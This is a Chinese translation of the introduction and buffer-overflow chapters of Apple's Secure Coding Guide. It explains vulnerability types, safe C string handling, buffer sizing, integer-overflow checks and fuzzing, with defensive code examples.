本文翻译整理自:Secure Coding Guide
https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Introduction.html#//apple_ref/doc/uid/TP40002477-SW1
文章目录
- 一、安全编码指南简介
- 1、概览
- 黑客和攻击者
- 没有平台是免疫的
- 2、如何使用本文档
- 3、另见
- 二、安全漏洞的类型
- 三、避免缓冲区溢出和下溢
- 四、验证输入和进程间通信
- 1、输入无效的风险
- 导致缓冲区溢出
- 格式化字符串攻击
- URL和文件处理
- 注入攻击
- 社会工程学
- 对存档数据的修改
- 2、模糊测试
- 3、进程间通信和网络
- 五、Race Conditions和安全文件操作
- 1、避免Race Conditions
- 检查时间与使用时间
- 信号处理
- 2、保护信号处理程序
- 3、保护文件操作
- 检查结果代码
- 小心硬链接
- 小心符号链接
- 不区分大小写的文件系统会阻碍您的安全模型
- 正确创建临时文件
- 可公开写入目录中的文件很危险
- 使用POSIX调用处理可公开写入的文件
- 使用Carbon处理可公开编写的文件
- 使用Cocoa处理可公开编写的文件
- 在Shell脚本中使用可公开编写的文件
- 其他提示
- 六、安全提升权限
- 1、需要提升特权的情况
- 2、敌对环境与最小特权原则
- 启动新流程
- 使用命令行参数
- 继承文件描述符
- 滥用环境变量
- 修改进程限制
- 文件操作干扰
- 3、避免特权提升
- 4、以提升的权限运行
- 5、更改特权级别的调用
- 6、避免分叉特权进程
- authopen
- launchd
- 7、其他机制的局限性和风险
- 8、编写特权助手
- 示例:预授权
- 辅助工具注意事项
- 9、授权和信任政策
- 10、KEXT中的安全性
- 七、设计安全的用户界面
- 八、设计安全助手和守护进程
- 1、使用应用沙盒
- 2、避免操纵木偶
- 使用白名单
- 使用抽象标识符和结构
- 使用气味测试
- 3、将应用程序和助手都视为敌对
- 4、以唯一用户身份运行守护进程
- 5、安全启动其他进程
- 九、避免注入攻击和XSS
- 1、避免注入攻击
- 混合数据的危险
- SQL注射
- C语言命令执行和Shell脚本
- Quoting for URLs
- 引用超文本标记语言和XML
- 2、避免跨站点脚本
- 十、安全开发例
- 十一、第三方软件安全指南
- 词汇表
一、安全编码指南简介
安全编码是编写能够抵御恶意或淘气的人或程序攻击的软件的实践。
不安全的程序可以为攻击者提供控制服务器或用户计算机的访问权限,导致从拒绝服务到单个用户的任何事情,秘密泄露,服务丢失,或损坏成千上万用户的系统。
安全编码有助于保护用户的数据免受盗窃或损坏。
安全编码对于所有软件都很重要,从您为自己编写的小脚本到大型商业应用程序。
如果您编写任何类型的软件,请熟悉本文档中的信息。
1、概览
安全性不是可以事后添加到软件中的东西。
就像纸板做的棚子不能通过在门上添加挂锁来确保安全一样,不安全的工具或应用程序可能需要大量重新设计来保护它。
您必须识别软件威胁的性质,并在整个产品规划和开发过程中采用安全编码实践。
本书描述了特定类型的漏洞,并提供了修复它们的代码强化技术指南。
黑客和攻击者
与媒体上常见的用法相反,在计算机行业,黑客一词指的是专业程序员——喜欢学习复杂代码或操作系统的人。
总的来说,黑客不是恶意的。
当大多数黑客发现安全漏洞时,他们会通知负责代码的公司或组织,以便他们解决问题。
然而,不幸的是,一小部分但重要的黑客设计了利用漏洞的漏洞,利用漏洞的代码,并利用它们进行攻击,或发布漏洞供他人使用。
攻击者的动机可能是为了谋取私利而窃取金钱、身份和其他机密;为雇主或自己使用的公司机密;或者为敌对政府或恐怖组织使用的国家机密。
有些人闯入应用程序或操作系统只是为了表明他们能做到这一点。
其他人试图造成真正的破坏。
因为攻击可以自动化和复制,任何弱点,无论多么轻微,都会构成真正的危险。
没有平台是免疫的
macOS和iOS在抵御攻击方面都有很强的记录。
macOS最初建立在BSD等开源软件之上,多年来通过代码签名和应用程序沙盒等技术得到加强,提供了多层防御。
iOS通过严格执行所有应用程序的沙盒来提供更高的安全性。
此外,Apple积极审查其所有平台的漏洞,并定期发布可下载的安全更新。
这是好消息。
坏消息是应用程序和操作系统不断受到攻击。
每天,攻击者都在寻找新的漏洞,以及利用它们的方法。
此外,不需要大规模、广泛的攻击来造成金钱和其他损失;如果有价值的信息处于危险之中,一个受损的应用程序就足够了。
尽管病毒或蠕虫的重大攻击引起了媒体的大量关注,但对普通用户来说,破坏或破坏一台计算机上的数据才是最重要的。
因此,认真对待每一个安全风险并努力快速纠正已知问题非常重要。
2、如何使用本文档
首先,熟悉 安全概述 中的概念。
本文档首先简要介绍了软件中常见的每种类型的安全漏洞的性质。
例如,如果您不确定竞争条件是什么,或者为什么它会带来安全风险,安全漏洞类型一章是开始的地方。
其余章节详细介绍了特定类型的安全漏洞。
这些章节可以按任何顺序阅读,也可以按照安全开发例中的软件开发例的建议阅读。
- 避免缓冲区溢出和下溢描述了各种类型的缓冲区溢出,并解释了如何避免它们。
- 验证输入和进程间通信讨论了为什么以及如何必须验证程序从不受信任的来源接收到的每种类型的输入。
- 竞争条件和安全文件操作解释了竞争条件是如何发生的,讨论了避免它们的方法,并描述了不安全和安全的文件操作。
- 提升权限安全地描述了如何避免运行具有提升权限的代码,以及如果不能完全避免它该怎么办。
- 设计安全用户界面讨论了程序的用户交互界面如何增强或损害安全性,并就如何编写增强安全性的用户界面提供了一些指导。
- 设计安全助手和守护进程描述了如何以有利于权限分离的方式设计助手应用程序。
附录安全开发例提供了在发布应用程序之前应该执行的任务的方便列表,而附录第三方软件安全指南提供了与macOS捆绑的第三方应用程序的指南列表。
3、另见
本文档重点介绍使用macOS或iOS的开发人员特别感兴趣的安全漏洞和编程实践。
有关更一般的处理方法,请参阅以下书籍和文档:
- 参见Viega和McGraw,Build Secure Software,Addison Wesley,2002;有关安全编程的一般讨论,尤其是与C编程和编写脚本有关的讨论。
- 参见Wheeler,Secure Programming HOWTO,可在http://www.dwheeler.com/secure-programs/;获得,有关基于UNIX的操作系统的几种类型的安全漏洞和编程技巧的讨论,其中大部分适用于macOS。
- 参见Cranor和Garfinkel,安全性和可用性:设计人们可以使用的安全系统,O’Reilly,2005年;有关编写增强安全性的用户界面的信息。
有关安全相关应用程序编程接口(API)的留档,请参阅以下文档:
- 有关安全网络的信息,请参阅 安全传输参考 。
- 有关macOS授权和身份验证API的信息,请参阅 授权服务C参考 和 安全基础框架参考 。
- 如果使用数字证书进行身份验证,请参阅 证书、密钥和信任服务参考 。
- 有关密码和其他机密的安全存储,请参阅 钥匙串服务参考 。
有关Web应用程序设计中的安全性信息,请访问http://www.owasp.org/。
二、安全漏洞的类型
- 缓冲区溢出
- 未经验证的输入
- 竞速条件
- 访问控制问题
- 身份验证、授权或加密实践中的弱点
本章描述了每种类型漏洞的性质。
1、缓冲区溢出
当应用程序尝试将数据写入缓冲区的末尾(或偶尔写入缓冲区的开头)时,就会发生缓冲区溢出。
缓冲区溢出可能导致应用程序崩溃,可能危及数据,并可能为进一步的权限提升提供攻击媒介,以危及运行应用程序的系统。
关于软件安全的书籍总是提到缓冲区溢出是漏洞的主要来源。
确切的数字很难获得,但作为一个迹象,美国计算机应急准备小组(US-CERT)2004年报告的公开漏洞利用中约有20%涉及缓冲区溢出。
任何从用户、文件或网络获取输入的应用程序或系统软件都必须至少暂时存储该输入。
除特殊情况外,大多数应用程序内存存储在以下两个位置之一:
- 堆栈-应用程序地址空间的一部分,用于存储特定于对特定函数、方法、块或其他等效构造的单个调用的数据。
- 堆-应用程序的通用存储。
只要应用程序正在运行(或者直到应用程序明确告诉操作系统它不再需要该数据),存储在堆中的数据就一直可用。
类实例、使用malloc
分配的数据、核心基础对象和大多数其他应用程序数据驻留在堆上。
(但是请注意,实际指向数据的局部变量存储在堆栈中。)
缓冲区溢出攻击通常通过破坏堆栈、堆或两者来发生。
有关详细信息,请阅读避免缓冲区溢出和下溢
2、未经验证的输入
作为一般规则,您应该检查程序接收到的所有输入,以确保数据是合理的。
例如,图形文件可以合理地包含200×300像素的图像,但不能合理地包含200×-1像素的图像。
然而,没有什么能阻止文件声称包含这样的图像。
试图读取这样一个文件的天真程序会尝试分配一个大小不正确的缓冲区,导致堆溢出攻击或其他问题的可能性。
因此,您必须仔细检查输入数据。
这个过程通常被称为输入验证或健全性检查。
任何来自不可信来源的输入都是潜在的攻击目标。
(在这种情况下,普通用户是不可信来源。)来自不可信来源的输入示例包括(但不限于):
- 文本输入字段
- 通过用于启动程序的URL传递的命令
- 用户或其他进程提供并由程序读取的音频、视频或图形文件
- 命令行输入
- 通过网络从不受信任的服务器读取的任何数据
- 通过网络从受信任的服务器读取的任何不受信任的数据(例如,用户提交的超文本标记语言或照片)
黑客会查看程序的每一个输入源,并试图传入他们能想象到的所有类型的格式错误的数据。
如果程序崩溃或其他行为不端,黑客就会试图找到利用问题的方法。
未经验证的输入漏洞被用来控制操作系统、窃取数据、损坏用户磁盘等等。
其中一个漏洞甚至被用来“越狱”苹果手机。
验证输入和进程间通信描述了常见类型的输入验证漏洞以及如何处理它们。
3、Race 条件
当两个或多个事件的顺序发生变化会导致行为发生变化时,就存在竞争条件。
如果程序的正常运行需要正确的执行顺序,这是一个bug。
如果攻击者可以利用这种情况插入恶意代码、更改文件名或以其他方式干扰程序的正常运行,竞争条件就是一个安全漏洞。
攻击者有时可以利用代码处理中的小时间间隔来干扰操作顺序,然后利用这些时间间隔。
有关竞争条件以及如何防止它们的更多信息,请阅读竞争条件和安全文件操作。
4、进程间通信
单独的进程——在单个程序或两个不同的程序中——有时必须共享信息。
常见的方法包括使用共享内存或使用操作系统提供的某些消息传递协议,如套接字。
这些用于进程间通信的消息传递协议通常容易受到攻击;因此,在编写应用程序时,您必须始终假设通信通道另一端的进程可能是敌对的。
有关如何执行安全进程间通信的更多信息,请阅读验证输入和进程间通信。
5、不安全的文件操作
除了检查时间使用时间问题之外,许多其他文件操作都是不安全的。
程序员经常对文件的所有权、位置或属性做出可能不真实的假设。
例如,您可能会假设您始终可以写入程序创建的文件。
但是,如果攻击者可以在您创建该文件后更改该文件的权限或标志,并且如果您在写入操作后未能检查结果代码,您将无法检测到文件已被篡改的事实。
不安全的文件操作示例包括:
- 在其他用户可写的位置写入或读取文件
- 在使用文件之前未能正确检查文件类型、设备ID、链接和其他设置
- 文件操作后未能检查结果代码
- 假设如果一个文件有一个本地路径名,它必须是一个本地文件
这些和其他不安全的文件操作将在保护文件操作中更详细地讨论。
6、访问控制问题
访问控制是控制谁被允许做什么的过程。
这包括控制对计算机的物理访问——例如,将服务器放在上锁的房间里——以及指定谁有权访问资源(例如文件)以及他们被允许对该资源做什么(例如只读)。
一些改造权限机制由操作系统强制执行,一些由单个应用程序或服务器强制执行,一些由正在使用的服务(例如网络协议)强制执行。
许多安全漏洞是由访问控制的不当使用或根本没有使用它们造成的。
软件安全文献中关于安全漏洞的大部分讨论都是关于权限的,许多漏洞利用都涉及攻击者以某种方式获得比他们应该拥有的更多的权限。
权限,也称为权限,是操作系统授予的访问权限,控制谁被允许读取和写入文件、目录以及文件和目录的属性(如文件的权限),谁可以执行程序,谁可以执行其他受限操作,如访问硬件设备和更改网络配置。
macOS中的文件权限和权限改造在 文件系统编程指南 中有讨论。
攻击者特别感兴趣的是获得root权限,这是指拥有在系统上执行任何操作的不受限制的权限。
以root权限运行的应用程序可以访问所有内容并更改任何内容。
许多安全漏洞涉及允许攻击者获得root权限的编程错误。
一些此类漏洞利用了缓冲区溢出或竞争条件,在某些特殊情况下允许攻击者升级其权限。
其他漏洞涉及访问应该受到限制的系统文件,或者在已经以root权限运行的程序(如应用程序安装程序)中找到弱点。
因此,始终以尽可能少的权限运行程序非常重要。
同样,当需要以提升的权限运行程序时,您应该尽可能短地运行。
许多权限改造是由应用程序强制执行的,这些应用程序可能要求用户在授予授权以执行操作之前进行身份验证。
身份验证可能涉及请求用户名和密码、使用智能卡、生物特征扫描或其他一些方法。
如果应用程序调用macOS授权服务应用程序界面对用户进行身份验证,它可以自动利用用户系统上可用的任何身份验证方法。
编写自己的身份验证代码是一种不太安全的替代方法,因为它可能会让攻击者有机会利用代码中的错误绕过您的身份验证机制,或者它可能提供比系统上使用的标准身份验证方法更不安全的身份验证方法。
授权和身份验证在 安全概述 中有进一步描述。
数字证书通常用于验证用户和服务器,加密通信,并对数据进行数字签名,以确保数据没有被破坏,并且确实是由用户认为创建它的实体创建的。
数字证书的不正确使用会导致安全漏洞。
例如,服务器管理程序附带标准的自签名证书,目的是让系统管理员用唯一的证书替换它。
然而,许多系统管理员没有采取这一步骤,结果攻击者可以解密与服务器的通信。
[CVE-2004-0927]
值得注意的是,几乎所有的访问控制都可以被对机器有物理访问权限和充足时间的攻击者克服。
例如,无论您将文件的权限设置为什么,操作系统都无法阻止有人绕过操作系统并直接从磁盘上读取数据。
只有限制对机器本身的访问和使用强大的加密技术才能保护数据在任何情况下都不被读取或损坏。
程序中访问控制的使用在安全提升权限中有更详细的讨论。
7、安全存储和加密
加密可用于在数据传输期间或存储数据时保护用户的秘密免受他人的侵害。
(如何保护供应商的数据不被未经许可复制或使用的问题在这里没有讨论。)macOS提供了各种基于加密的安全选项,例如
- 文件库
- 创建加密磁盘映像的能力
- 钥匙扣
- 基于证书的数字签名
- 电子邮件加密
- SSL/TLS安全网络通信
- Kerberos认证
- 密码以防止未经授权使用设备
- 数据加密
- 向数据块添加数字签名的能力
- 钥匙扣
- SSL/TLS安全网络通信
每种服务都有适当的用途,但都有局限性。
例如,FileVault对用户的根卷(在macOS 10.7及更高版本中)或主目录(在早期版本中)的内容进行加密,对于共享计算机或攻击者可能获得物理访问权限的计算机(如笔记本电脑)来说,这是一项非常重要的安全功能。
然而,对于物理上安全但在使用过程中可能会通过网络受到攻击的计算机来说,这不是很有帮助,因为在这种情况下,主目录处于未加密状态,威胁来自不安全的网络或共享文件。
此外,FileVault仅与用户选择的密码一样安全——如果用户选择了一个容易猜到的密码,或者把它写在一个容易找到的位置,加密就没有用了。
除非您已经是该领域的专家,否则试图创建自己的加密方法或自己实现已发布的加密算法是一个严重的错误。
编写安全、健壮的加密代码以生成牢不可破的密文是极其困难的,并且尝试几乎总是一个安全漏洞。
对于macOS,如果您需要macOS用户交互界面和高级编程接口所提供的加密服务之外的加密服务,您可以使用开源CSSM加密服务管理器。
请参阅随开源安全代码提供的档留,您可以在 http://developer.apple.com/darwin/projects/security/ 下载。
iOS,开发API应该提供您需要的所有服务。
有关macOS和iOS安全功能的更多信息,请阅读 身份验证、授权和权限指南 。
8、社会工程学
在保护用户数据和软件的一系列安全功能中,最薄弱的环节往往是用户。
随着开发人员消除缓冲区溢出、竞争条件和其他安全漏洞,攻击者越来越多地集中精力诱骗用户执行恶意代码或交出密码、信用卡号和其他私人信息。
误导用户放弃秘密或让攻击者访问计算机被称为社会工程。
每年有数百万用户因此类攻击而遭受损失。
软件开发人员可以通过两种方式来解决这个问题:通过教育他们的用户,以及通过清晰且设计良好的用户界面,为用户提供做出明智决策所需的信息。
有关如何设计增强安全性的用户交互界面的更多建议,请参阅设计安全用户界面。
三、避免缓冲区溢出和下溢
堆栈和堆上的缓冲区溢出是C、Objective-C和C++代码中安全漏洞的主要来源。
本章讨论避免缓冲区溢出和下限溢位问题的编码实践,列出可用于检测缓冲区溢出的工具,并提供说明安全代码的示例。
每次您的程序请求输入(无论是来自用户、文件、网络还是其他方式),都有可能接收到不适当的数据。
例如,输入数据可能比您在内存中保留的空间长。
当输入数据的长度超过保留空间的长度时,如果您不截断它,该数据将覆盖内存中的其他数据。
发生这种情况时,称为缓冲区溢出。
如果被覆盖的内存包含对程序运行至关重要的数据,这种溢出会导致bug,这种情况是间歇性的,可能很难找到。
如果被覆盖的数据包含要执行的其他代码的地址,并且用户故意这样做,用户可以指向恶意代码,然后您的程序将执行这些代码。
类似地,当输入数据短于或看起来短于保留空间时(由于错误的假设、不正确的长度值或将原始数据复制为C字符串),这称为缓冲区下限溢位。
这可能会导致任何数量的问题,从不正确的行为到当前堆栈或堆上的数据泄漏。
尽管大多数编程语言根据存储检查输入以防止缓冲区溢出和下溢,但C、Objective-C和C++没有。
因为许多程序链接到C库,标准库中的漏洞即使在用“安全”语言编写的程序中也会导致漏洞。
因此,即使您确信您的代码没有缓冲区溢出问题,您也应该通过以尽可能少的权限运行来限制暴露。
有关此主题的更多信息,请参阅安全提升权限。
请记住,明显形式的输入,例如通过对话框输入的字符串,并不是恶意输入的唯一潜在来源。
例如:
- 一个操作系统的帮助系统中的缓冲区溢出可能是由恶意准备的嵌入式映像引起的。
- 常用的媒体播放器无法验证特定类型的音频文件,从而允许攻击者通过使用精心制作的音频文件导致缓冲区溢出来执行任意代码。
[1CVE-2006-1591 2CVE-2006-1370]
溢出有两个基本类别:堆栈溢出和堆溢出。
以下部分将更详细地描述这些。
1、堆栈溢出
在大多数操作系统中,每个应用程序都有一个堆栈(多线程应用程序每个线程有一个堆栈)。
此堆栈包含本地范围数据的存储。
堆栈分为称为堆栈帧的单元。
每个堆栈帧包含特定于特定函数的特定调用的所有数据。
这些数据通常包括函数的参数、该函数内的完整局部变量集和链接信息——即函数调用本身的地址,当函数返回时继续执行)。
根据编译器标志,它还可能包含下一个堆栈帧顶部的地址。
堆栈上数据的确切内容和顺序取决于操作系统和CPU架构。
每次调用函数时,都会在堆栈顶部添加一个新的堆栈帧。
每次函数返回时,都会删除顶部堆栈帧。
在执行的任何给定点,应用程序只能直接访问最顶部堆栈帧中的数据。
(指针可以绕过这个问题,但这样做通常是个坏主意。)这种设计使递归成为可能,因为对函数的每个嵌套调用都有自己的局部变量和参数副本。
图2-1说明了堆栈的组织。
请注意,该图只是示意图;堆栈上数据的实际内容和顺序取决于所使用的CPU架构。
有关macOS支持的所有架构中使用的函数调用约定的描述,请参阅 OS X ABI函数调用指南 。
图2-1堆栈示意图
一般来说,一个应用程序应该检查所有输入数据,以确保它适合预期的目的(例如,确保文件名具有合法长度并且不包含非法字符)。
不幸的是,在许多情况下,程序员不会费心,假设用户不会做任何不合理的事情。
当应用程序将数据存储到固定大小的缓冲区中时,这将成为一个严重的问题。
如果用户是恶意的(或打开包含恶意的人创建的数据的文件),他们可能会提供比缓冲区大小更长的数据。
因为该函数只在堆栈上为这些数据保留有限的空间,所以数据会覆盖堆栈上的其他数据。
如图2-2所示,聪明的攻击者可以使用这种技术覆盖函数使用的返回地址,替换其他代码的地址。
然后,当函数C完成执行时,它不会返回到函数B,而是跳转到攻击者的代码。
因为应用程序执行攻击者的代码,攻击者的代码继承了用户的权限。
如果用户以管理员身份登录,攻击者可以完全控制计算机,从磁盘读取数据,发送电子邮件,等等。
(请注意,受沙盒影响的应用程序,包括iOS中的任何应用程序,以及您在macOS中采用应用程序沙盒的任何应用程序,无法完全控制设备,尽管攻击者仍然可以通过这种方式访问应用程序自己的数据。)
Figure 2-2 Stack after malicious buffer overflow
除了对链接信息的攻击,攻击者还可以通过修改堆栈上的本地数据和函数参数来改变程序操作。
例如,攻击者可以修改数据结构,使您的应用程序连接到不同的(恶意)主机,而不是连接到所需的主机。
2、堆溢出
堆用于应用程序中所有动态分配的内存。
当您使用malloc
(C++new
运算符)或等效函数来分配内存块或实例化对象时,将在堆上分配支持这些指针的内存。
由于堆是用来存储数据的,而不是用来存储函数和方法的返回地址值,并且由于堆上的数据在程序运行时以不明显的方式变化,攻击者如何利用堆上的缓冲区溢出就不那么明显了。
在某种程度上,正是这种不明显性使堆溢出成为一个有吸引力的目标——与堆栈溢出相比,程序员不太可能担心它们并防御它们。
图2-1说明了覆盖指针的堆溢出。
图2-3堆溢出
一般来说,利用堆上的缓冲区溢出比利用堆栈上的溢出更具挑战性。
然而,许多成功的利用都涉及堆溢出。
堆溢出有两种利用方式:修改数据和修改对象。
攻击者可以通过覆盖关键数据来利用堆上的缓冲区溢出,要么导致程序崩溃,要么更改以后可以利用的值(例如,覆盖存储的用户ID以获得额外的访问权限)。
修改这些数据被称为非控制数据攻击。
堆上的大部分数据是由程序内部生成的,而不是从用户输入中复制的;这些数据可能位于内存中相对一致的位置,这取决于应用程序分配数据的方式和时间。
攻击者还可以通过覆盖指针来利用堆上的缓冲区溢出。
在C++和Objective-C等许多语言中,堆上分配的对象包含函数表和数据指针。
通过利用缓冲区溢出来更改此类指针,攻击者可能会替换不同的数据,甚至替换类对象中的实例方法。
利用堆上的缓冲区溢出可能是一个复杂而神秘的问题,需要解决,但一些恶意黑客正是在这些挑战中茁壮成长。
例如:
- 用于解码位图图像的代码中的堆溢出允许远程攻击者执行任意代码。
- 网络服务器中的堆溢出漏洞允许攻击者通过发送带有负“Content-Llong”标头的HTTP POST请求来执行任意代码。
[1CVE-2006-0006 2CVE-2005-3655]
3、字符串处理
字符串是一种常见的输入形式。
因为许多字符串处理函数没有内置的字符串长度检查,字符串经常是可利用的缓冲区溢出的来源。
图2-4说明了三个字符串复制函数处理相同超长字符串的不同方式。
图2-4 C字符串处理函数和缓冲区溢出
如您所见,strcpy
函数只是将整个字符串写入内存,覆盖它之后的任何内容。
strncpystrncpy
将字符串截断到正确的长度,但没有终止的空字符。
当读取该字符串时,它后面的所有字节,直到下一个空字符,都可能作为字符串的一部分被读取。
虽然这个函数可以安全地使用,但它是程序员错误的常见来源,因此被认为是适度不安全的。
为了安全地使用strncpy
,您必须在调用strncpy
后显式地将缓冲区的最后一个字节归零,或者预归零缓冲区,然后传入比缓冲区大小小一个字节的最大长度。
只有strlcpy
函数是完全安全的,它将字符串截断为小于缓冲区大小的一个字节并添加终止空字符。
表2-1总结了要避免的常见C字符串处理例程以及要使用的例程。
不要使用这些功能 | 用这些代替 |
---|---|
strcat | strlcat |
strcpy | strlcpy |
strncat | strlcat |
strncpy | strlcpy |
sprintf | snprintf (见注释)或asprintf |
vsprintf | vsnprintf (见注释)或vasprintf |
gets | fgets (见注释)或使用Core Foundation或Foundation API |
snprintf和vsnprintf的安全注意事项: 函数snprintf
、vsnprintf
和变体如果使用不当会很危险。
尽管它们在功能上表现得像strlcat
,并且类似于它们限制写入n-1
的字节,但这些函数返回的长度是如果n是无限的打印长度。
出于这个原因,您不得使用此返回值来确定在哪里空终止字符串或确定稍后从字符串复制多少字节。
fgets的安全注意事项: 虽然fgets
函数提供了读取有限数量数据的能力,但使用时必须小心。
与“更安全”列中的其他函数一样,fgets
总是终止字符串。
然而,与该列中的其他函数不同,它需要读取最大字节数,而不是缓冲区大小。
实际上,这意味着您必须始终传递一个小于缓冲区大小的大小值,以便为空终止留出空间。
如果不这样做,fgets
函数将尽职尽责地终止缓冲区末尾之后的字符串,从而可能覆盖它后面的任何数据字节。
您还可以通过使用更高级别的接口来避免字符串处理缓冲区溢出。
- 如果使用C++,ANSIC++
string
类可以避免缓冲区溢出,尽管它不处理非ASCII编码(如UTF-8)。 - 如果您使用Objective-C编写代码,请使用
NSString
类。
请注意,NSString
对象必须转换为C字符串才能传递给C例程,例如POSIX函数。 - 如果您使用C编写代码,则可以使用字符串的Core Foundation表示形式(称为CFString)以及CFString API中的字符串操作函数。
Core Foundation CFString与其对应的Cocoa FoundationNSString
是“免费桥接的”。
这意味着Core Foundation类型在函数或方法调用中可以与其等效的Foundation对象互换。
因此,在您看到NSString *
参数的方法中,您可以传入CFStringRef
类型的值,在您看到CFStringRef
参数的函数中,您可以传入NSString
实例。
这也适用于NSString
的具体子类。
有关使用字符串的这些表示以及在CFString对象和NSString
对象之间进行转换的更多详细信息,请参阅CFString参考和基础框架参考。
4、计算缓冲区大小
当使用固定长度的缓冲区时,您应该始终使用sizeof
来计算缓冲区的大小,然后确保您放入缓冲区的数据不会超过它所能容纳的数量。
即使您最初为缓冲区分配了静态大小,您或将来维护您的代码的其他人可能会更改缓冲区大小,但无法更改写入缓冲区的每个情况。
第一个示例,表2-2,显示了分配长度为1024字节的字符缓冲区、检查输入字符串的长度以及将其复制到缓冲区的两种方法。
而不是这个: | 这样做: |
---|---|
char buf[1024]; ... if (size <= 1023) { ... } | #define BUF_SIZE 1024 ... char buf[BUF_SIZE]; ... if (size < BUF_SIZE) { ... } |
char buf[1024]; ... if (size < 1024) { ... } | char buf[1024]; ... if (size < sizeof(buf)) { ... } |
只要缓冲区大小的原始声明从未更改,左侧的两个片段是安全的。
但是,如果在程序的后续版本中更改缓冲区大小而不更改测试,则会导致缓冲区溢出。
右侧的两个片段显示了此代码的更安全版本。
在第一个版本中,缓冲区大小使用在其他地方设置的常量设置,检查使用相同的常量。
在第二个版本中,缓冲区设置为1024字节,但检查计算缓冲区的实际大小。
在这些片段中的任何一个中,更改缓冲区的原始大小都不会使检查无效。
表2-3显示了一个向文件名添加.ext
后缀的函数。
而不是这个: | 这样做: |
---|---|
{ char file[MAX_PATH]; ... addsfx(file); ... } static *suffix = ".ext"; char *addsfx(char *buf) { return strcat(buf, suffix); } | { char file[MAX_PATH]; ... addsfx(file, sizeof(file)); ... } static *suffix = ".ext"; size_t addsfx(char *buf, uint size) { size_t ret = strlcat(buf, suffix, size); if (ret >= size) { `` fprintf(stderr, "Buffer too small....\n"); } return ret; } |
两个版本都使用文件的最大路径长度作为缓冲区大小。
左栏中的不安全版本假定文件名不超过此限制,并附加后缀而不检查字符串的长度。
右栏中的更安全版本使用strlcat
函数,如果字符串超过缓冲区的大小,该函数会截断字符串。
重要提示: 在计算缓冲区和进入缓冲区的数据的大小时,您应该始终使用无符号变量(如size_t
)。
因为负数存储为大正数,如果您使用有符号变量,攻击者可能会通过向您的程序写入一个大数字来导致缓冲区或数据大小的错误计算。
有关整数算术的潜在问题的更多信息,请参阅避免整数溢出和下溢。
有关此问题的进一步讨论以及可能导致问题的更多功能列表,请参阅Wheeler,安全编程HOWTO(http://www.dwheeler.com/secure-programs/)。
5、避免整数溢出和下溢
如果使用用户提供的数据计算缓冲区的大小,恶意用户可能会输入对于整数数据类型来说太大的数字,这可能会导致程序崩溃和其他问题。
在二进制补码算法(大多数现代CPU用于有符号整数算法)中,一个负数是通过反转二进制数的所有位并加1来表示的。
最高有效位中的1
表示负数。
因此,对于4字节有符号整数,0x7fffffff = 2147483647
,但0x80000000 = -2147483648
因此,
int 2147483647 + 1 = - 2147483648
如果恶意用户指定了一个负数,而您的程序只期望无符号数字,您的程序可能会将其解释为一个非常大的数字。
根据该数字的用途,您的程序可能会尝试分配该大小的缓冲区,从而导致内存分配失败或在分配成功时导致堆溢出。
例如,在流行的Web浏览器的早期版本中,将对象存储到分配为负大小的JavaScript数组中可能会覆盖内存。
[CVE-2004-0361]
在其他情况下,如果您使用有符号值来计算缓冲区大小并进行测试以确保数据对缓冲区来说不会太大,则足够大的数据块将显示为负大小,因此将在溢出缓冲区的同时通过大小测试。
根据缓冲区大小的计算方式,指定负数可能会导致缓冲区对其预期用途来说太小。
例如,如果您的程序想要1024字节的最小缓冲区大小,并在此基础上添加用户指定的数字,攻击者可能会通过指定一个大的正数来分配小于最小大小的缓冲区,如下所示:
1024 + 4294966784 = 512
0x400 + 0xFFFFFE00 = 0x200
此外,任何溢出超过整数变量长度的位(无论是有符号的还是无符号的)都会被删除。
例如,当存储在32位整数中时,2**32 == 0
。
因为拥有大小为0的缓冲区并不违法,而且因为malloc(0)
返回一个指向一个小块的指针,如果攻击者指定一个值,导致您的缓冲区大小计算为2**32
的倍数,您的代码可能会运行而不会出错。
换句话说,对于n
和m
的任何值,其中(n * m) mod 2**32 == 0
,分配一个大小为n*m
的缓冲区的有效指针的大小非常小(和architecture-dependent)。
在这种情况下,缓冲区溢出是有保证的。
为避免此类问题,在执行缓冲区数学运算时,您应始终包含范围检查以确保不会发生整数溢出。
执行这些测试时的一个常见错误是检查可能溢出的乘法或其他操作的结果:
size_t bytes = n * m;
if (bytes < n || bytes < m) { /* BAD BAD BAD */... /* allocate “bytes” space */
}
不幸的是,如果m
和n
是有符号的,C语言规范允许编译器优化此类测试[CWE-733,CERT VU#162289]。
即使它们是无符号的,测试在某些情况下仍然会失败。
例如,在64位机器上,如果m
和n
都被声明size_t
,并且都设置为0x180000000
,乘以它们的结果是0x24000000000000000
,但是bytes
将包含该结果模2**64
,或0x4000000000000000
。
这通过了测试(结果大于任何一个输入),尽管确实发生了溢出。
相反,在乘法过程中测试整数溢出的正确方法是在乘法之前进行测试。
特别是,您将最大允许结果除以乘数,然后将结果与乘数进行比较,反之亦然。
如果结果小于乘数,这两个值的乘积将导致整数溢出。
尽管如此,正确处理这一点可能很棘手。
例如,选择错误的最大允许整数常量(例如,SIZE_MAX
或INT_MAX
?)会产生不正确的结果。
因此,使用未知输入执行乘法的最安全方法是使用clang检查算术内置。
例如:
size_t bytes;
if (__builtin_umull_overflow(m, n, &bytes)) {/* Overflow occured. Handle appropriately. */
} else {/* Allocate "bytes" space. */
}
在这种情况下,__builtin_umull_overflow
执行无符号乘法(根据需要转换m
和n
),并将(可能溢出的)结果存储在bytes
中,但也返回一个bool
,指示操作是否导致溢出。
当您使用macOS 10.12或iOS10 SDK或更高版本构建时,您可以使用os/overflow.h
头文件中定义的内置包装器来增强此代码:
#include <os/overflow.h>if (os_mul_overflow(m, n, &bytes)) {/* Overflow occured. Handle appropriately. */
} else {/* Allocate "bytes" space. */
}
这个os_mul_overflow
宏(就像它的兄弟os_add_overflow
和os_sub_overflow
)包装了一个新的clang内置函数,即使对于混合类型的整数算术也能正确检测溢出。
这消除了将参数和结果转换为通用类型的需要,消除了另一个溢出错误的来源。
如果您不使用返回值,包装器还会生成编译时警告,有助于确保您的代码确实根据报告的溢出情况采取了一些行动。
6、检测缓冲区溢出
要测试缓冲区溢出,您应该尝试输入比要求更多的数据,无论您的程序在哪里接受输入。
此外,如果您的程序接受标准格式的数据,例如图形或音频数据,您应该尝试向其传递格式错误的数据。
这个过程称为模糊测试。
如果您的程序中存在缓冲区溢出,它最终会崩溃。
(不幸的是,直到一段时间后,当它试图使用被覆盖的数据时,它可能才会崩溃。)崩溃日志可能会提供一些线索,表明崩溃的原因是缓冲区溢出。
例如,如果您连续多次输入包含大写字母“A”的字符串,您可能会在崩溃日志中发现一个重复数字41的数据块,即“A”的ASCII代码(参见图2-2)。
